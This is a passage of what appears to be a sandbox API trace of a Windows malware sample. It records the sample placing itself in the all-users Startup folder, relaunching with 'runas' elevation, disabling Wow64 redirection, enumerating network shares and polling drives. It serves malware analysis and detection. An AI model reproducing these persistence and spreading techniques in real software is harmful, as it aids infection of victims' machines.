lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0217.798] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0217.799] Process32NextW (in: hSnapshot=0x4bc, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 0 [0217.799] CloseHandle (hObject=0x4bc) returned 1 [0217.799] Sleep (dwMilliseconds=0x1f4) Thread: id = 35 os_tid = 0xe18 [0173.859] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x485ab0 [0173.859] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4bcfe8 [0173.860] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x485ac8 [0173.860] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x485ac8, Size=0x20) returned 0x45d7e0 [0173.860] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x485ac8 [0173.860] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x485ac8, Size=0x20) returned 0x45d718 [0173.860] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74bd0000 [0173.860] GetProcAddress (hModule=0x74bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74be6b30 [0173.860] Wow64DisableWow64FsRedirection (in: OldValue=0x259ff20 | out: OldValue=0x259ff20*=0x0) returned 1 [0173.860] lstrlenW (lpString="kernel32.dll") returned 12 [0173.860] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d7e0 | out: hHeap=0x420000) returned 1 [0173.860] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0173.860] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d718 | out: hHeap=0x420000) returned 1 [0173.860] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4bcfe8, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windowssystem32file.pe32.exe")) returned 0x59 [0173.860] ShellExecuteExW (in: pExecInfo=0x259ff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x259ff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0216.889] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x457c770 [0216.889] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x457c770, Size=0x20) returned 0x447b350 [0216.889] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x457c980 [0216.889] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x457c980, Size=0x20) returned 0x447b1c0 [0216.889] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74bd0000 [0216.889] GetProcAddress (hModule=0x74bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74be6b30 [0216.890] Wow64DisableWow64FsRedirection (in: OldValue=0x0 | out: OldValue=0x0) returned 0 [0216.892] lstrlenW (lpString="kernel32.dll") returned 12 [0216.892] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x447b1c0 | out: hHeap=0x420000) returned 1 [0216.892] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0216.892] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x447b350 | out: hHeap=0x420000) returned 1 [0216.892] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcfe8 | out: hHeap=0x420000) returned 1 [0216.892] lstrlenW (lpString="runas") returned 5 [0216.892] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x485ab0 | out: hHeap=0x420000) returned 1 [0216.893] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0 [0216.893] ReleaseMutex (hMutex=0x1ec) returned 1 [0216.893] Sleep (dwMilliseconds=0x1f4) [0217.493] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0 [0217.493] ReleaseMutex (hMutex=0x1ec) returned 1 [0217.493] Sleep (dwMilliseconds=0x1f4) Thread: id = 36 os_tid = 0xe1c [0173.893] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x485a98 [0173.951] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x485a98, Size=0x20) returned 0x45d718 [0173.952] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d718, Size=0x40) returned 0x479288 [0173.952] GetLogicalDrives () returned 0x4 [0173.953] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x486380 [0173.953] GetComputerNameW (in: lpBuffer=0x486384, nSize=0x26dff64 | out: lpBuffer="NQDPDE", nSize=0x26dff64) returned 1 [0173.953] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1000) returned 0x47b8c0 [0173.953] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x26dff34 | out: lphEnum=0x26dff34*=0x436520) returned 0x0 [0173.954] WNetEnumResourceW (in: hEnum=0x436520, lpcCount=0x26dff30, lpBuffer=0x47b8c0, lpBufferSize=0x26dff38 | out: lpcCount=0x26dff30, lpBuffer=0x47b8c0, lpBufferSize=0x26dff38) returned 0x103 [0173.954] WNetCloseEnum (hEnum=0x436520) returned 0x0 [0173.954] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x26dff34 | out: lphEnum=0x26dff34*=0x43a980) returned 0x0 [0174.182] WNetEnumResourceW (in: hEnum=0x43a980, lpcCount=0x26dff30, lpBuffer=0x47b8c0, lpBufferSize=0x26dff38 | out: lpcCount=0x26dff30, lpBuffer=0x47b8c0, lpBufferSize=0x26dff38) returned 0x0 [0174.182] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1000) returned 0x4cffd8 [0174.183] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x47b8c0, lphEnum=0x26dff08 | out: lphEnum=0x26dff08*=0x436560) returned 0x0 [0174.469] WNetEnumResourceW (in: hEnum=0x436560, lpcCount=0x26dff04, lpBuffer=0x4cffd8, lpBufferSize=0x26dff0c | out: lpcCount=0x26dff04, lpBuffer=0x4cffd8, lpBufferSize=0x26dff0c) returned 0x103 [0174.469] WNetCloseEnum (hEnum=0x436560) returned 0x0 [0174.469] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1000) returned 0x4d0fe0 [0174.469] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x47b8e0, lphEnum=0x26dff08 | out: lphEnum=0x26dff08*=0x0) returned 0x4b8 [0188.790] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1000) returned 0x4499108 [0188.790] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x47b900, lphEnum=0x26dff08 | out: lphEnum=0x26dff08*=0x0) returned 0x4c6 [0188.800] WNetEnumResourceW (in: hEnum=0x43a980, lpcCount=0x26dff30, lpBuffer=0x47b8c0, lpBufferSize=0x26dff38 | out: lpcCount=0x26dff30, lpBuffer=0x47b8c0, lpBufferSize=0x26dff38) returned 0x103 [0188.800] WNetCloseEnum (hEnum=0x43a980) returned 0x0 [0188.800] GetLogicalDrives () returned 0x4 [0188.800] Sleep (dwMilliseconds=0x64) [0188.975] GetLogicalDrives () returned 0x4 [0188.975] Sleep (dwMilliseconds=0x64) [0189.264] GetLogicalDrives () returned 0x4 [0189.264] Sleep (dwMilliseconds=0x64) [0189.427] GetLogicalDrives () returned 0x4 [0189.427] Sleep (dwMilliseconds=0x64) [0190.044] GetLogicalDrives () returned 0x4 [0190.044] Sleep (dwMilliseconds=0x64) [0190.744] GetLogicalDrives () returned 0x4 [0190.744] Sleep (dwMilliseconds=0x64) [0191.279] GetLogicalDrives () returned 0x4 [0191.279] Sleep (dwMilliseconds=0x64) [0191.514] GetLogicalDrives () returned 0x4 [0191.515] Sleep (dwMilliseconds=0x64) [0191.848] GetLogicalDrives () returned 0x4 [0191.848] Sleep (dwMilliseconds=0x64) [0192.040] GetLogicalDrives () returned 0x4 [0192.040] Sleep (dwMilliseconds=0x64) [0192.473] GetLogicalDrives () returned 0x4 [0192.474] Sleep (dwMilliseconds=0x64) [0192.693] GetLogicalDrives () returned 0x4 [0192.693] Sleep (dwMilliseconds=0x64) [0193.061] GetLogicalDrives () returned 0x4 [0193.061] Sleep (dwMilliseconds=0x64) [0193.360] GetLogicalDrives () returned 0x4 [0193.360] Sleep (dwMilliseconds=0x64) [0193.639] GetLogicalDrives () returned 0x4 [0193.639] Sleep (dwMilliseconds=0x64) [0193.818] GetLogicalDrives () returned 0x4 [0193.818] Sleep (dwMilliseconds=0x64) [0193.940] GetLogicalDrives () returned 0x4 [0193.940] Sleep (dwMilliseconds=0x64) [0194.156] GetLogicalDrives () returned 0x4 [0194.156] Sleep (dwMilliseconds=0x64) [0194.564] GetLogicalDrives () returned 0x4 [0194.564] Sleep (dwMilliseconds=0x64) [0194.895] GetLogicalDrives () returned 0x4 [0194.895] Sleep (dwMilliseconds=0x64) [0195.007] GetLogicalDrives () returned 0x4 [0195.007] Sleep (dwMilliseconds=0x64) [0195.260] GetLogicalDrives () returned 0x4 [0195.260] Sleep (dwMilliseconds=0x64) [0195.649] GetLogicalDrives () returned 0x4 [0195.649] Sleep (dwMilliseconds=0x64) [0195.900] GetLogicalDrives () returned 0x4 [0195.913] Sleep (dwMilliseconds=0x64) [0196.204] GetLogicalDrives () returned 0x4 [0196.204] Sleep (dwMilliseconds=0x64) [0196.753] GetLogicalDrives () returned 0x4 [0196.753] Sleep (dwMilliseconds=0x64) [0196.975] GetLogicalDrives () returned 0x4 [0196.976] Sleep (dwMilliseconds=0x64) [0197.372] GetLogicalDrives () returned 0x4 [0197.372] Sleep (dwMilliseconds=0x64) [0197.624] GetLogicalDrives () returned 0x4 [0197.624] Sleep (dwMilliseconds=0x64) [0197.824] GetLogicalDrives () returned 0x4 [0197.824] Sleep (dwMilliseconds=0x64) [0198.064] GetLogicalDrives () returned 0x4 [0198.064] Sleep (dwMilliseconds=0x64) [0198.188] GetLogicalDrives () returned 0x4 [0198.188] Sleep (dwMilliseconds=0x64) [0198.611] GetLogicalDrives () returned 0x4 [0198.611] Sleep (dwMilliseconds=0x64) [0199.233] GetLogicalDrives () returned 0x4 [0199.233] Sleep (dwMilliseconds=0x64) [0199.544] GetLogicalDrives () returned 0x4 [0199.544] Sleep (dwMilliseconds=0x64) [0199.849] GetLogicalDrives () returned 0x4 [0199.849] Sleep (dwMilliseconds=0x64) [0200.036] GetLogicalDrives () returned 0x4 [0200.036] Sleep (dwMilliseconds=0x64) [0200.429] GetLogicalDrives () returned 0x4 [0200.429] Sleep (dwMilliseconds=0x64) [0200.658] GetLogicalDrives () returned 0x4 [0200.658] Sleep (dwMilliseconds=0x64) [0200.816] GetLogicalDrives () returned 0x4 [0200.816] Sleep (dwMilliseconds=0x64) [0201.187] GetLogicalDrives () returned 0x4 [0201.187] Sleep (dwMilliseconds=0x64) [0201.428] GetLogicalDrives () returned 0x4 [0201.428] Sleep (dwMilliseconds=0x64) [0201.649] GetLogicalDrives () returned 0x4 [0201.650] Sleep (dwMilliseconds=0x64) [0201.851] GetLogicalDrives () returned 0x4 [0201.851] Sleep (dwMilliseconds=0x64) [0202.089] GetLogicalDrives () returned 0x4 [0202.089] Sleep (dwMilliseconds=0x64) [0202.297] GetLogicalDrives () returned 0x4 [0202.297] Sleep (dwMilliseconds=0x64) [0202.693] GetLogicalDrives () returned 0x4 [0202.693] Sleep (dwMilliseconds=0x64) [0203.153] GetLogicalDrives () returned 0x4 [0203.153] Sleep (dwMilliseconds=0x64) [0203.365] GetLogicalDrives () returned 0x4 [0203.365] Sleep (dwMilliseconds=0x64) [0203.701] GetLogicalDrives () returned 0x4 [0203.701] Sleep (dwMilliseconds=0x64) [0203.980] GetLogicalDrives () returned 0x4 [0203.980] Sleep (dwMilliseconds=0x64) [0204.275] GetLogicalDrives () returned 0x4 [0204.275] Sleep (dwMilliseconds=0x64) [0204.654] GetLogicalDrives () returned 0x4 [0204.654] Sleep (dwMilliseconds=0x64) [0205.019] GetLogicalDrives () returned 0x4 [0205.019] Sleep (dwMilliseconds=0x64) [0205.550] GetLogicalDrives () returned 0x4 [0205.550] Sleep (dwMilliseconds=0x64) [0205.707] GetLogicalDrives () returned 0x4 [0205.707] Sleep (dwMilliseconds=0x64) [0206.200] GetLogicalDrives () returned 0x4 [0206.200] Sleep (dwMilliseconds=0x64) [0206.573] GetLogicalDrives () returned 0x4 [0206.573] Sleep (dwMilliseconds=0x64) [0206.947] GetLogicalDrives () returned 0x4 [0206.948] Sleep (dwMilliseconds=0x64) [0207.880] GetLogicalDrives () returned 0x4 [0207.880] Sleep (dwMilliseconds=0x64) [0208.434] GetLogicalDrives () returned 0x4 [0208.434] Sleep (dwMilliseconds=0x64) [0208.923] GetLogicalDrives () returned 0x4 [0208.923] Sleep (dwMilliseconds=0x64) [0209.109] GetLogicalDrives () returned 0x4 [0209.109] Sleep (dwMilliseconds=0x64) [0209.321] GetLogicalDrives () returned 0x4 [0209.321] Sleep (dwMilliseconds=0x64) [0209.473] GetLogicalDrives () returned 0x4 [0209.473] Sleep (dwMilliseconds=0x64) [0209.631] GetLogicalDrives () returned 0x4 [0209.631] Sleep (dwMilliseconds=0x64) [0209.968] GetLogicalDrives () returned 0x4 [0209.969] Sleep (dwMilliseconds=0x64) [0210.313] GetLogicalDrives () returned 0x4 [0210.313] Sleep (dwMilliseconds=0x64) [0210.470] GetLogicalDrives () returned 0x4 [0210.470] Sleep (dwMilliseconds=0x64) [0210.652] GetLogicalDrives () returned 0x4 [0210.652] Sleep (dwMilliseconds=0x64) [0210.845] GetLogicalDrives () returned 0x4 [0210.845] Sleep (dwMilliseconds=0x64) [0210.989] GetLogicalDrives () returned 0x4 [0210.989] Sleep (dwMilliseconds=0x64) [0211.105] GetLogicalDrives () returned 0x4 [0211.105] Sleep (dwMilliseconds=0x64) [0211.520] GetLogicalDrives () returned 0x4 [0211.520] Sleep (dwMilliseconds=0x64) [0211.781] GetLogicalDrives () returned 0x4 [0211.781] Sleep (dwMilliseconds=0x64) [0212.206] GetLogicalDrives () returned 0x4 [0212.208] Sleep (dwMilliseconds=0x64) [0213.062] GetLogicalDrives () returned 0x4 [0213.062] Sleep (dwMilliseconds=0x64) [0213.408] GetLogicalDrives () returned 0x4 [0213.408] Sleep (dwMilliseconds=0x64) [0213.796] GetLogicalDrives () returned 0x4 [0213.796] Sleep (dwMilliseconds=0x64) [0214.070] GetLogicalDrives () returned 0x4 [0214.070] Sleep (dwMilliseconds=0x64) [0214.575] GetLogicalDrives () returned 0x4 [0214.576] Sleep (dwMilliseconds=0x64) [0214.867] GetLogicalDrives () returned 0x4 [0214.867] Sleep (dwMilliseconds=0x64) [0215.395] GetLogicalDrives () returned 0x4 [0215.395] Sleep (dwMilliseconds=0x64) [0215.759] GetLogicalDrives () returned 0x4 [0215.759] Sleep (dwMilliseconds=0x64) [0216.076] GetLogicalDrives () returned 0x4 [0216.076] Sleep (dwMilliseconds=0x64) [0216.494] GetLogicalDrives () returned 0x4 [0216.494] Sleep (dwMilliseconds=0x64) [0216.850] GetLogicalDrives () returned 0x4 [0216.850] Sleep (dwMilliseconds=0x64) [0217.235] GetLogicalDrives () returned 0x4 [0217.236] Sleep (dwMilliseconds=0x64) [0217.474] GetLogicalDrives () returned 0x4 [0217.474] Sleep (dwMilliseconds=0x64) [0217.667] GetLogicalDrives () returned 0x4 [0217.667] Sleep (dwMilliseconds=0x64) [0217.888] GetLogicalDrives () returned 0x4 [0217.888] Sleep (dwMilliseconds=0x64) Thread: id = 37 os_tid = 0xe20 [0174.568] GetTickCount () returned 0x1139dcc [0174.568] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x24) returned 0x47caf0 [0174.568] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x47caf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8 [0174.569] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x47caf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec [0174.569] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x47caf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0 [0174.570] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x47caf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4 [0174.570] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a5b8 [0174.571] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a5b8, Size=0x20) returned 0x45da10 [0174.571] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a648 [0174.571] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a648, Size=0x20) returned 0x45d880 [0174.571] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74bd0000 [0174.571] GetProcAddress (hModule=0x74bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74be6b30 [0174.571] Wow64DisableWow64FsRedirection (in: OldValue=0x281ff7c | out: OldValue=0x281ff7c*=0x0) returned 1 [0174.571] lstrlenW (lpString="kernel32.dll") returned 12 [0174.571] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45da10 | out: hHeap=0x420000) returned 1 [0174.571] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.571] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d880 | out: hHeap=0x420000) returned 1 [0174.571] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x464b48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8 [0174.572] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0174.875] GetTickCount () returned 0x1139f05 [0174.875] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0175.126] GetTickCount () returned 0x1139fff [0175.126] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0175.436] GetTickCount () returned 0x113a128 [0175.436] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0175.681] GetTickCount () returned 0x113a231 [0175.687] GetTickCount () returned 0x113a231 [0175.687] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0175.947] GetTickCount () returned 0x113a32b [0175.947] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0176.366] GetTickCount () returned 0x113a4d1 [0176.366] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0176.741] GetTickCount () returned 0x113a648 [0176.741] GetTickCount () returned 0x113a648 [0176.741] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0177.150] GetTickCount () returned 0x113a7df [0177.150] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0177.495] GetTickCount () returned 0x113a936 [0177.495] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0178.111] GetTickCount () returned 0x113aba7 [0178.111] GetTickCount () returned 0x113aba7 [0178.111] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0178.565] GetTickCount () returned 0x113ad5d [0178.565] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0179.050] GetTickCount () returned 0x113af51 [0179.050] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0179.497] GetTickCount () returned 0x113b106 [0179.497] GetTickCount () returned 0x113b106 [0179.497] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0179.775] GetTickCount () returned 0x113b220 [0179.775] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0180.087] GetTickCount () returned 0x113b358 [0180.087] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0180.484] GetTickCount () returned 0x113b4ee [0180.484] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0180.664] GetTickCount () returned 0x113b59a [0180.668] GetTickCount () returned 0x113b59a [0180.668] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0180.969] GetTickCount () returned 0x113b6d3 [0180.969] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0181.243] GetTickCount () returned 0x113b7dc [0181.243] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0181.443] GetTickCount () returned 0x113b8a7 [0181.443] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0181.643] GetTickCount () returned 0x113b973 [0181.643] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0182.093] GetTickCount () returned 0x113bb38 [0182.093] GetTickCount () returned 0x113bb38 [0182.093] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0182.617] GetTickCount () returned 0x113bd3b [0182.617] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0182.740] GetTickCount () returned 0x113bdb8 [0182.740] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0182.919] GetTickCount () returned 0x113be64 [0182.919] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0183.150] GetTickCount () returned 0x113bf4f [0183.150] GetTickCount () returned 0x113bf4f [0183.150] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0183.390] GetTickCount () returned 0x113c049 [0183.390] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0183.518] GetTickCount () returned 0x113c0c6 [0183.518] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0183.843] GetTickCount () returned 0x113c20e [0183.843] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0184.019] GetTickCount () returned 0x113c2ba [0184.019] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0184.275] GetTickCount () returned 0x113c3b4 [0184.275] GetTickCount () returned 0x113c3b4 [0184.275] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0184.525] GetTickCount () returned 0x113c4ae [0184.525] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0184.653] GetTickCount () returned 0x113c53a [0184.653] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0184.900] GetTickCount () returned 0x113c625 [0184.900] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0185.162] GetTickCount () returned 0x113c72e [0185.162] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0185.453] GetTickCount () returned 0x113c857 [0185.453] GetTickCount () returned 0x113c857 [0185.453] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0185.782] GetTickCount () returned 0x113c99f [0185.782] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0186.062] GetTickCount () returned 0x113cac8 [0186.082] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0186.412] GetTickCount () returned 0x113cc10 [0186.412] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0187.149] GetTickCount () returned 0x113ceef [0187.149] GetTickCount () returned 0x113ceef [0187.149] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0187.435] GetTickCount () returned 0x113d017 [0187.435] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0187.910] GetTickCount () returned 0x113d1ec [0187.910] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0188.313] GetTickCount () returned 0x113d382 [0188.313] GetTickCount () returned 0x113d382 [0188.313] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0188.513] GetTickCount () returned 0x113d44e [0188.513] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0188.800] GetTickCount () returned 0x113d567 [0188.800] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0188.975] GetTickCount () returned 0x113d613 [0188.975] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0189.264] GetTickCount () returned 0x113d73c [0189.264] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0189.427] GetTickCount () returned 0x113d7d8 [0189.427] GetTickCount () returned 0x113d7d8 [0189.427] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0190.044] GetTickCount () returned 0x113da39 [0190.044] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0190.744] GetTickCount () returned 0x113dcf8 [0190.744] GetTickCount () returned 0x113dcf8 [0190.744] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0191.279] GetTickCount () returned 0x113df1b [0191.279] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0191.514] GetTickCount () returned 0x113e006 [0191.514] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0191.848] GetTickCount () returned 0x113e14e [0191.848] GetTickCount () returned 0x113e14e [0191.848] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0192.040] GetTickCount () returned 0x113e209 [0192.040] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0192.474] GetTickCount () returned 0x113e3bf [0192.474] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0192.693] GetTickCount () returned 0x113e499 [0192.693] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0193.062] GetTickCount () returned 0x113e610 [0193.062] GetTickCount () returned 0x113e610 [0193.062] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0193.360] GetTickCount () returned 0x113e739 [0193.360] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0193.660] GetTickCount () returned 0x113e862 [0193.660] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0193.819] GetTickCount () returned 0x113e8fe [0193.819] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0193.943] GetTickCount () returned 0x113e97b [0193.943] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0194.160] GetTickCount () returned 0x113ea56 [0194.160] GetTickCount () returned 0x113ea56 [0194.160] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0194.564] GetTickCount () returned 0x113ebec [0194.564] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0194.895] GetTickCount () returned 0x113ed35 [0194.896] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0195.007] GetTickCount () returned 0x113eda2 [0195.007] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0195.260] GetTickCount () returned 0x113ee9c [0195.260] GetTickCount () returned 0x113ee9c [0195.260] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102 [0195.650] GetTickCount () 